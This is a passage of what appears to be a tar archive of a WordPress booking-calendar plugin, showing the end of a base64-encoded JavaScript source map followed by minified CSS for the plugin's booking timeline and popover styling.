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 timeline_v2.1.css 0000666 00000122776 15165645603 0007670 0 ustar 00 :root { --wpbc_timeline-row-height: 35px; --wpbc_timeline-row-header-height: 58px; --wpbc_timeline-booking-pending-color: #ffd86c; --wpbc_timeline-past-booking-pending-color: #fff3d2; --wpbc_timeline-booking-pending-border-color: #e49c2d; --wpbc_timeline-booking-approved-color: #5A71A1; --wpbc_timeline-past-booking-approved-color: #8591aa; --wpbc_timeline-booking-approved-border-color: #4B5E85 } .flex_tl_table { -ms-flex-flow: column nowrap; flex-flow: column nowrap; box-sizing: border-box } .flex_tl_table .flex_tl_table_header, .flex_tl_table .flex_tl_table_row_bookings, .flex_tl_table .flex_tl_table_titles { -ms-flex: 1; flex: 1; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1 { -ms-flex: 0 1 auto; flex: 0 1 auto; min-width: 0; word-wrap: break-word; display: -ms-flexbox; display: flex; -ms-flex-flow: column nowrap; flex-flow: column nowrap; -ms-flex-pack: center; justify-content: center } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0 } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 { display: -ms-flexbox; display: flex; -ms-flex-flow: column nowrap; flex-flow: column nowrap; -ms-flex-pack: center; justify-content: center } @media (max-width:782px) { .flex_tl_table .flex_tl_table_header, .flex_tl_table .flex_tl_table_row_bookings, .flex_tl_table .flex_tl_table_titles { -ms-flex-flow: row wrap; flex-flow: row wrap } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 { width: 100%; -ms-flex: 1 1 auto; flex: 1 1 auto } } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between; -ms-flex-align: baseline; align-items: baseline; padding: 7px 0 0 } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_title { -ms-flex: 1 1 0px; flex: 1 1 0; word-break: break-word; min-width: 0; color: #777 } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0; display: -ms-flexbox; display: flex; -ms-flex-flow: column nowrap; flex-flow: column nowrap; -ms-flex-pack: justify; justify-content: space-between } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_month_year { -ms-flex: 1; flex: 1; display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: justify; justify-content: space-between; overflow: hidden } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { -ms-flex: 1; flex: 1; font-size: .85em; font-weight: 600; text-align: center; display: -ms-flexbox; display: flex; -ms-flex-flow: column; flex-flow: column; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center } .flex_tl_single_resource .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { font-size: 1em; padding: 0 } .flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_num, .flex_frame_view_days_num_60 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container .in_cell_day_week { font-size: .85em; font-weight: 600 } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month.flex_tl_dates_bar .flex_tl_day_cell { border: none } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar_month .flex_tl_day_cell .in_cell_month_year { overflow: visible; word-wrap: normal; white-space: nowrap } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day { -ms-flex: 1; flex: 1; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between; overflow: hidden } .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_time_section_in_day .in_cell_time_hour { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0 } .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container, .flex_tl_single_resource.flex_frame_view_days_num_30 .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container { -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-align: center; align-items: center } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: distribute; justify-content: space-around } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks { -ms-flex: 1 1 0px; flex: 1 1 0; text-align: left } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks { text-align: right; padding: 0 1em } @media (max-width:782px) { .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container { -ms-flex-pack: start; justify-content: flex-start } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_days, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 .flex_tl_resource_title_dates_container .flex_tl_resource_title_dates_weeks { -ms-flex: 0 1 auto; flex: 0 1 auto; text-align: left; padding: 0 1em } .flex_timeline_frame .popover { width: 98%; max-width: 98% } } .flex_tl_row_height, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar { min-height: var(--wpbc_timeline-row-height) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_bookings { margin-top: calc(-1 * var(--wpbc_timeline-row-height)) } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles { margin-top: calc(-1 * var(--wpbc_timeline-row-height)); overflow: hidden } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .in_cell_time_section_in_day .in_cell_time_hour { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates { -ms-flex: 1 1 0px; flex: 1 1 0; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: center; justify-content: center; -ms-flex-align: center; align-items: center } .flex_timeline_frame.flex_frame_view_days_num_1.flex_tl_matrix_resources .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates, .flex_timeline_frame.flex_frame_view_days_num_30.flex_tl_single_resource .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_dates { -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: start; align-items: flex-start } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0; display: -ms-flexbox; display: flex; -ms-flex-flow: column nowrap; flex-flow: column nowrap; -ms-flex-pack: justify; justify-content: space-between; position: relative } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id { -ms-flex: 1 1 0px; flex: 1 1 0; min-width: 0; word-wrap: normal; white-space: nowrap } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.pending_booking { border-bottom: 1px dashed #555 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking { border-bottom: 1px dashed #ccc; background-color: #78a } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id:last-child { border-bottom: none } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:active, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a:hover { position: relative; cursor: default; outline: 0; box-shadow: none } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id .in_cell_date_booking_pipeline_a .in_cell_date_booking_pipeline_a_sizer { width: 100%; height: 100% } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles { display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: start; justify-content: flex-start } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title { overflow: visible; white-space: nowrap; word-wrap: initial; padding: 0 .5em; margin-left: 4px; margin-top: 4px; z-index: 1 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar.flex_tl_row_bar_show_booking_titles .flex_tl_day_cell { border: none } .flex_tl_table, .hidden_items { display: none } .flex_timeline_frame .popover { border: 2px solid #555; font-size: 12px; max-width: 299px; max-height: 425px; overflow-y: auto; scrollbar-width: thin; scrollbar-gutter: unset } hr.wpbc_tl_popover_booking_separator { margin-bottom: 0 } .wpbc-listing-collumn.field-system-info { font-size: 9px; font-style: normal; line-height: 1.2em; text-shadow: none; white-space: nowrap; padding: 2px 0 0 5px; text-align: right; color: #777 } .flex_timeline_frame .popover .popover-title { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; min-height: 2.5em; margin: 0; padding: 5px 30px 5px 6px; border-radius: 5px 5px 0 0; background-color: #f7f7f7 } .flex_timeline_frame .popover .popover-title .popover-title-id { -ms-flex: 0 0 auto; flex: 0 0 auto; width: 100%; font-size: 14px; font-weight: 500; line-height: 1.8; margin: 0; padding: 0 12px 0 5px; border: 0; vertical-align: baseline } .flex_timeline_frame .popover .popover-title .popover-title-buttons { -ms-flex: 1 1 auto; flex: 1 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; margin: 2px 0 } .flex_timeline_frame .popover .popover-title .popover-title-buttons a, .flex_timeline_frame .popover .popover-title .popover-title-buttons a:focus, .flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover { -ms-flex: none; flex: none; box-sizing: border-box; margin: 0 5px 0 0; padding: 0 10px 1px; font-size: 13px; height: 28px; line-height: 28px; white-space: nowrap; text-decoration: none; cursor: pointer; -webkit-appearance: none; color: #555; background: #f7f7f7; border-radius: 3px; border: 1px solid #d8d8d8; box-shadow: none; outline: 0 } .flex_timeline_frame .popover .popover-title .popover-title-buttons a:hover { background: #fafafa; border-color: #ccc; color: #23282d } .flex_timeline_frame .popover .popover-title .popover-title-buttons .wpbc-buttons-separator { margin-right: 1.5em } .flex_timeline_frame .popover .popover-close, .flex_timeline_frame .popover .popover-close:hover { position: absolute; right: 0; top: 0; font-size: 20px; line-height: 1.5em; padding: 5px } .flex_timeline_frame .popover .popover-close a, .flex_timeline_frame .popover .popover-close a:active, .flex_timeline_frame .popover .popover-close a:focus, .flex_timeline_frame .popover .popover-close a:hover { text-decoration: none; border-style: none; outline: 0; color: #444; background: 0 0; padding: 0 5px } .flex_timeline_frame .popover.bottom > .arrow::after { border-bottom-color: transparent } .popover-content .flex-popover-content-data { display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: justify; justify-content: space-between } .popover-content .flex-popover-content-data .flex-popover-bars, .popover-content .wpbc-popover-content-data .booking-dates, .popover-content .wpbc-popover-content-data .booking-labels, .popover-content .wpbc-popover-content-data .wpbc-popover-booking-data, .popover-content .wpbc-popover-content-data .wpbc-popover-booking-notes, .popover-content .wpbc-popover-content-data .wpbc-popover-cost-bar { -ms-flex: 1 1 auto; flex: 1 1 auto } .popover-content .flex-popover-content-data .flex-popover-bars { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: justify; justify-content: space-between } .popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-labels-bar { -ms-flex: 1 1 0px; flex: 1 1 0; clear: both } .popover-content .flex-popover-content-data .flex-popover-bars .flex-popover-cost-bar { -ms-flex: none; flex: none; padding: .3em 0; margin: 0 } .popover-content .flex-popover-content-data .flex-popover-labels-bar { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start } .popover-content .flex-popover-content-data .flex-popover-labels-bar .flex-label { -ms-flex: 0 1 auto; flex: 0 1 auto; min-width: 0 } .popover-content .flex-popover-content-data .flex-label { border: 0; border-radius: 3px; text-shadow: none; box-shadow: 0 0 1px #ddd; font-weight: 400; font-size: 95%; line-height: 1.7em; padding: .2em .8em; background-color: #5bc0de; color: #fff; text-align: center; vertical-align: baseline; margin: .15em .75em .5em 0; word-wrap: break-word; word-wrap: anywhere; white-space: pre-wrap } .popover-content .flex-popover-content-data .flex-label .label-prefix { font-size: 70%; font-weight: 400 } .popover-content .flex-popover-content-data .flex-label.flex-label-id { background: #888 } .popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-pending { background: #ffbb45 } .popover-content .flex-popover-content-data .flex-label.flex-label-booking-status.label-approved { background: #9be } .popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-success { background: #468847 } .popover-content .flex-popover-content-data .flex-label.flex-label-payment.payment-label-unknown { background: #999 } .popover-content .flex-popover-content-data .flex-label.flex-label-trash { background: #d94a48 } .popover-content .flex-popover-content-data .flex-label.flex-label-resource { text-align: left } .popover-content .flex-popover-content-data .flex-label.flex-label-cost { background: 0 0; font-weight: 600; color: #333; box-shadow: none; padding: 0; margin: 0 } .popover-content .flex-popover-content-data .flex-popover-booking-data { margin: 1em 0; text-align: left; font-size: 1.05em; line-height: 1.8em; color: #333; max-width: 100%; word-wrap: break-word; word-wrap: anywhere } .popover-content .flex-popover-content-data .flex-popover-booking-data span.fieldvalue { background: 0 0; padding: 2px; border-radius: 1px; margin: 0 .5em 0 0; word-break: initial; word-wrap: break-word } .popover-content .flex-popover-content-data .flex-popover-booking-data label { font-weight: 600; vertical-align: baseline } .popover-content .flex-popover-content-data .flex-popover-booking-data * { vertical-align: baseline; line-height: 2em } .popover-content .flex-popover-content-data .wpbc-popover-booking-notes { margin: 0 0 1em; max-width: 100%; word-break: break-word } .popover-content .flex-popover-content-data .flex-label-dates { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: start; align-items: flex-start } .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date { -ms-flex: 0 1 auto; flex: 0 1 auto; font-size: 103%; padding: .1em .7em; margin: 0 0 .2em; background: #ffbb45 } .popover-content .flex-popover-content-data .flex-label-dates .date_tire { -ms-flex: 0 1 auto; flex: 0 1 auto; margin: 0 .2em; font-size: 175%; line-height: 1em } .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date .field-booking-time { font-size: .7em; font-weight: 400; color: #23282d } .popover-content .flex-popover-content-data .flex-label-dates .flex-label.field-booking-date.approved { background: #9be } .popover-content .wpbc_tl_popover_booking_separator { margin: 20px 0; border-top: 1px solid #ddd; box-shadow: 0 1px 1px #f9f9f9 } .flex_tl_table { background: #fff; border: 1px solid #ddd; box-shadow: 0 1px 2px #eef; font-size: 12px; border-radius: 4px 4px 0 0 } .flex_tl_table .flex_tl_table_header { background: 0 0; border-bottom: 1px solid #dfdfdf; font-size: 15px; font-weight: 600; color: #606060; text-shadow: none; line-height: 3em; height: 3em; overflow: hidden; padding-left: 1em; border-radius: 4px 4px 0 0 } .wpbc_timeline_front_end .flex_tl_table .flex_tl_table_header { padding: 0 2px } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 { font-weight: 600; padding: 8px; line-height: 1.42857143em } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 { text-align: center } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev { font-size: 22px; font-weight: 600; line-height: 12px; color: #777 } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_next a:hover, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 .flex_tl_nav .flex_tl_prev a:hover { text-decoration: none; color: #757575; cursor: pointer } .flex_tl_table .flex_tl_table_row_bookings { border-top: 1px solid #ddd } .flex_tl_table .flex_tl_table_row_bookings:nth-of-type(2n+1) { background-color: #f9f9f9 } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1 { font-weight: 600; padding: 0 0 0 4px; line-height: 1.42857143em; box-shadow: none } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_1 